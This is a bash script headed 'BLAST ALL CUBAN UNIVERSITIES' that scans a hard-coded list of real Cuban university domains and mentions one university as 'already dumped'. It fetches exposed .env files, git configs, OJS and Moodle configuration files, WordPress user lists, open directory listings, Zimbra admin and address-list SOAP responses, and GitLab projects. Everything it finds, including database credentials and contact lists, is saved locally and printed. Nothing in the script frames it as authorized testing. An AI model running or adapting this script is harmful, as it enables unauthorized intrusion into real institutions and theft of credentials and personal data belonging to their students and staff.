#!/bin/bash
OUTDIR="/tmp/uni-dump"
mkdir -p "$OUTDIR"

echo "=== BLAST ALL CUBAN UNIVERSITIES ==="
echo "Date: $(date -u)"

# All university-related live domains (excluding UCLV which we already dumped)
TARGETS="
aulacened.uci.cu
conferencia.uci.cu
correo.estudiantes.uci.cu
correo.uci.cu
eventos.uci.cu
cadcam.uho.edu.cu
cesoftad.uho.edu.cu
deporvida.uho.edu.cu
eventos.uho.edu.cu
moodle.uho.edu.cu
correo.uho.edu.cu
correo.estudiantes.uh.cu
correo.uh.cu
fec.uh.cu
fenhi.uh.cu
gitlab.uh.cu
correo.umcc.cu
correoest.umcc.cu
moodle.umcc.cu
correo.uniss.edu.cu
correo.ismm.edu.cu
cienciaydeporte.reduc.edu.cu
cloud.udg.co.cu
correo.udg.co.cu
eddist.udg.co.cu
email.udg.co.cu
ediciones.inca.edu.cu
cnic.edu.cu
moodle.ult.edu.cu
virtual.ult.edu.cu
gitlab.ult.edu.cu
aula.scu.sld.cu
aulavirtual.elacm.sld.cu
"

# Sensitive paths to check
for host in $TARGETS; do
  host=$(echo "$host" | tr -d ' ')
  [ -z "$host" ] && continue
  echo ""
  echo "========== $host =========="

  for proto in https http; do
    # Quick check if host responds on this proto
    base_code=$(curl -sk -o /dev/null -w "%{http_code}" --connect-timeout 4 --max-time 7 "${proto}://${host}/" 2>/dev/null)
    [ "$base_code" = "000" ] && continue

    echo "  [${proto}] base -> HTTP $base_code"

    # .env
    resp=$(curl -sk -o /tmp/bl_resp -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}/.env" 2>/dev/null)
    code=$(echo "$resp" | cut -d'|' -f1); size=$(echo "$resp" | cut -d'|' -f2)
    if [ "$code" = "200" ] && [ "$size" -gt 20 ] 2>/dev/null; then
      if grep -qi "APP_KEY\|DB_PASS\|MAIL_PASS\|SECRET\|TOKEN\|MYSQL\|DATABASE\|PASSW\|REDIS_HOST\|SMTP" /tmp/bl_resp 2>/dev/null; then
        cp /tmp/bl_resp "$OUTDIR/env-$(echo $host | tr . _).txt"
        echo "  [CRIT] .env with credentials! (${size}B)"
        cat /tmp/bl_resp
        echo "---"
      fi
    elif [ "$code" = "403" ]; then
      echo "  [403] .env exists but blocked"
    fi

    # .git/HEAD
    resp=$(curl -sk -o /tmp/bl_resp -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}/.git/HEAD" 2>/dev/null)
    code=$(echo "$resp" | cut -d'|' -f1); size=$(echo "$resp" | cut -d'|' -f2)
    if [ "$code" = "200" ] && [ "$size" -gt 10 ] && [ "$size" -lt 200 ] 2>/dev/null; then
      if grep -q "ref:" /tmp/bl_resp 2>/dev/null; then
        echo "  [CRIT] .git/HEAD exposed: $(cat /tmp/bl_resp)"
        curl -sk --connect-timeout 4 --max-time 8 "${proto}://${host}/.git/config" > "$OUTDIR/git-config-$(echo $host | tr . _).txt" 2>/dev/null
        echo "  git config saved"
        cat "$OUTDIR/git-config-$(echo $host | tr . _).txt"
        echo "---"
      fi
    elif [ "$code" = "403" ]; then
      echo "  [403] .git exists but blocked"
    fi

    # config.inc.php (OJS)
    resp=$(curl -sk -o /tmp/bl_resp -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}/config.inc.php" 2>/dev/null)
    code=$(echo "$resp" | cut -d'|' -f1); size=$(echo "$resp" | cut -d'|' -f2)
    if [ "$code" = "200" ] && [ "$size" -gt 100 ] 2>/dev/null; then
      if grep -qi "password\|database\|driver\|salt\|smtp\|ojs\|install" /tmp/bl_resp 2>/dev/null; then
        cp /tmp/bl_resp "$OUTDIR/config-inc-$(echo $host | tr . _).php"
        echo "  [CRIT] config.inc.php with credentials! (${size}B)"
        cat /tmp/bl_resp
        echo "---"
      fi
    fi

    # phpinfo.php
    resp=$(curl -sk -o /tmp/bl_resp -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}/phpinfo.php" 2>/dev/null)
    code=$(echo "$resp" | cut -d'|' -f1); size=$(echo "$resp" | cut -d'|' -f2)
    if [ "$code" = "200" ] && [ "$size" -gt 1000 ] 2>/dev/null; then
      if grep -qi "PHP Version\|phpinfo" /tmp/bl_resp 2>/dev/null; then
        cp /tmp/bl_resp "$OUTDIR/phpinfo-$(echo $host | tr . _).html"
        echo "  [HIGH] phpinfo.php exposed! (${size}B)"
      fi
    fi

    # WordPress users
    resp=$(curl -sk -o /tmp/bl_resp -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}/wp-json/wp/v2/users" 2>/dev/null)
    code=$(echo "$resp" | cut -d'|' -f1); size=$(echo "$resp" | cut -d'|' -f2)
    if [ "$code" = "200" ] && [ "$size" -gt 50 ] 2>/dev/null; then
      if grep -q '"slug"' /tmp/bl_resp 2>/dev/null; then
        cp /tmp/bl_resp "$OUTDIR/wp-users-$(echo $host | tr . _).json"
        echo "  [HIGH] WP users exposed! (${size}B)"
        cat /tmp/bl_resp | python3 -c "import json,sys;[print('    '+u.get('slug','?')+' - '+u.get('name','?')) for u in json.load(sys.stdin)]" 2>/dev/null
      fi
    fi

    # Directory listings
    for dir in /backup/ /backups/ /files/ /uploads/ /public/ /media/ /tmp/ /dump/ /sql/ /db/ /data/ /export/ /private/ /storage/ /var/ /log/ /logs/ /cache/ /temp/; do
      resp=$(curl -sk -o /tmp/bl_resp -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}${dir}" 2>/dev/null)
      code=$(echo "$resp" | cut -d'|' -f1); size=$(echo "$resp" | cut -d'|' -f2)
      if [ "$code" = "200" ] && [ "$size" -gt 200 ] 2>/dev/null; then
        if grep -qi "Index of\|<a href=" /tmp/bl_resp 2>/dev/null; then
          safename=$(echo "${host}${dir}" | tr '/.' '_')
          cp /tmp/bl_resp "$OUTDIR/dirlist-${safename}.html"
          echo "  [DIR] ${dir} open directory listing (${size}B)"
          # Look for interesting files in listing
          grep -oi 'href="[^"]*\.\(sql\|gz\|tar\|zip\|bak\|dump\|env\|conf\|cfg\|log\|csv\|xls\|xlsx\|mdb\|db\|sqlite\)"' /tmp/bl_resp 2>/dev/null | head -10
        fi
      fi
    done

    # OJS API endpoints
    for ep in /api/v1/users /api/v1/submissions /api/v1/contexts /api/v1/announcements /api/v1/stats/publications /api/v1/stats/sushi; do
      resp=$(curl -sk -o /tmp/bl_resp -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}${ep}" 2>/dev/null)
      code=$(echo "$resp" | cut -d'|' -f1); size=$(echo "$resp" | cut -d'|' -f2)
      if [ "$code" = "200" ] && [ "$size" -gt 50 ] 2>/dev/null; then
        safename=$(echo "${host}${ep}" | tr '/.' '_')
        cp /tmp/bl_resp "$OUTDIR/ojs-${safename}.json"
        echo "  [API] ${ep} open! (${size}B)"
        head -c 1000 /tmp/bl_resp
        echo ""
      fi
    done

    # Moodle webservice
    resp=$(curl -sk -o /tmp/bl_resp -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}/webservice/rest/server.php?wsfunction=core_webservice_get_site_info&moodlewsrestformat=json" 2>/dev/null)
    code=$(echo "$resp" | cut -d'|' -f1); size=$(echo "$resp" | cut -d'|' -f2)
    if [ "$code" = "200" ] && [ "$size" -gt 50 ] 2>/dev/null; then
      if grep -qi "sitename\|siteurl\|username" /tmp/bl_resp 2>/dev/null; then
        cp /tmp/bl_resp "$OUTDIR/moodle-info-$(echo $host | tr . _).json"
        echo "  [HIGH] Moodle site info leaked! (${size}B)"
        cat /tmp/bl_resp
        echo ""
      fi
    fi

    # Moodle config.php (usually blocked but try)
    resp=$(curl -sk -o /tmp/bl_resp -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}/config.php" 2>/dev/null)
    code=$(echo "$resp" | cut -d'|' -f1); size=$(echo "$resp" | cut -d'|' -f2)
    if [ "$code" = "200" ] && [ "$size" -gt 50 ] 2>/dev/null; then
      if grep -qi "dbpass\|dbuser\|dbname\|CFG\|password\|wwwroot" /tmp/bl_resp 2>/dev/null; then
        cp /tmp/bl_resp "$OUTDIR/moodle-config-$(echo $host | tr . _).php"
        echo "  [CRIT] Moodle config.php with DB creds! (${size}B)"
        cat /tmp/bl_resp
        echo ""
      fi
    fi

    # Zimbra for mail servers
    case "$host" in
      correo.*|mail.*|email.*)
        # Check Zimbra version from login page
        ver=$(curl -sk --connect-timeout 5 --max-time 10 "${proto}://${host}/" 2>/dev/null | grep -oi 'version[" :=]*[0-9][0-9.]*[^"<]*' | head -1)
        if [ -n "$ver" ]; then
          echo "  [ZIMBRA] $ver"
        fi
        # Admin SOAP
        soap=$(curl -sk --connect-timeout 5 --max-time 10 -H "Content-Type: application/soap+xml" \
          -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Body><GetVersionInfoRequest xmlns="urn:zimbraAdmin"/></soap:Body></soap:Envelope>' \
          "${proto}://${host}:7071/service/admin/soap" 2>/dev/null)
        if echo "$soap" | grep -qi "majorversion\|minorversion"; then
          echo "  [CRIT-ZIMBRA] Admin SOAP version leak!"
          echo "$soap" > "$OUTDIR/zimbra-admin-$(echo $host | tr . _).xml"
          echo "$soap"
        fi
        # GAL search (Global Address List)
        gal=$(curl -sk --connect-timeout 5 --max-time 10 -H "Content-Type: application/soap+xml" \
          -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Body><SearchGalRequest xmlns="urn:zimbraAccount" type="account" limit="100"><name>@</name></SearchGalRequest></soap:Body></soap:Envelope>' \
          "${proto}://${host}/service/soap" 2>/dev/null)
        if echo "$gal" | grep -qi "cn\|email\|@"; then
          echo "  [CRIT-ZIMBRA] GAL search returned contacts!"
          echo "$gal" > "$OUTDIR/zimbra-gal-$(echo $host | tr . _).xml"
          head -c 2000 "$OUTDIR/zimbra-gal-$(echo $host | tr . _).xml"
        fi
        ;;
    esac

    # GitLab API
    case "$host" in
      git.*|gitlab.*)
        resp=$(curl -sk -o /tmp/bl_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 15 "${proto}://${host}/api/v4/projects?per_page=100&visibility=public" 2>/dev/null)
        code=$(echo "$resp" | cut -d'|' -f1); size=$(echo "$resp" | cut -d'|' -f2)
        if [ "$code" = "200" ] && [ "$size" -gt 50 ] 2>/dev/null; then
          cp /tmp/bl_resp "$OUTDIR/gitlab-projects-$(echo $host | tr . _).json"
          echo "  [CRIT-GITLAB] Public projects found! (${size}B)"
          cat /tmp/bl_resp | python3 -c "import json,sys;d=json.load(sys.stdin);print(f'  {len(d)} projects');[print(f'    {p.get(\"path_with_namespace\",\"?\")}') for p in d[:20]]" 2>/dev/null
        elif [ "$code" = "302" ]; then
          echo "  [GITLAB] Redirects to login (auth required)"
        elif [ "$code" = "403" ]; then
          echo "  [GITLAB] 403 (IP restricted)"
        fi
        ;;
    esac

    break  # Only use first working protocol
  done
done

echo ""
echo "=== RESULTS ==="
ls -la "$OUTDIR/"
echo ""
echo "=== FILE SIZES ==="
du -sh "$OUTDIR/"
find "$OUTDIR" -type f | while read f; do
  echo "$(wc -c < "$f")B  $(basename "$f")"
done
